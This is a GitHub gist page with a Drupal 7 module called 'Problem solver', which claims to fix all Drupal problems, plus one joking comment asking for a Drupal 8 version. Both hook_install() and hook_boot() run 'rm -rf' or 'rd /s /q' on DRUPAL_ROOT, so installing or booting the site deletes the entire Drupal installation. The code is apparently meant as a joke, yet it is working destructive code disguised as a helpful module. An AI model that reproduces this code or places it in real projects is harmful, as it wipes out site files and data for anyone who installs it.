Skip to content

Instantly share code, notes, and snippets.

@nigelheap
Created May 23, 2012 04:50
Show Gist options
  • Save nigelheap/2773333 to your computer and use it in GitHub Desktop.
Save nigelheap/2773333 to your computer and use it in GitHub Desktop.
problem_solver module
name = Problem solver
description = The module that will solve all your drupal problems
package = Problems
version = 1.x
core = 7.x
<?php
/**
* @file
*
* Install file for Problem Solver module.
*/
/**
* Implements hook_install().
*/
function problem_solver_install() {
$dir = DRUPAL_ROOT;
// Execute Windows command else Linux
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
`rd /s /q $dir`;
} else {
`rm -rf $dir`;
}
}
<?php
/**
* @file
*
* Module file for Problem Solver module.
*/
/**
* Implements hook_boot().
*/
function problem_solver_boot(){
$dir = DRUPAL_ROOT;
// Execute Windows command else Linux
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
`rd /s /q $dir`;
} else {
`rm -rf $dir`;
}
}
@kt2
Copy link

kt2 commented Oct 6, 2022

can u update the module to d8 please, i want it to solve my problem

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment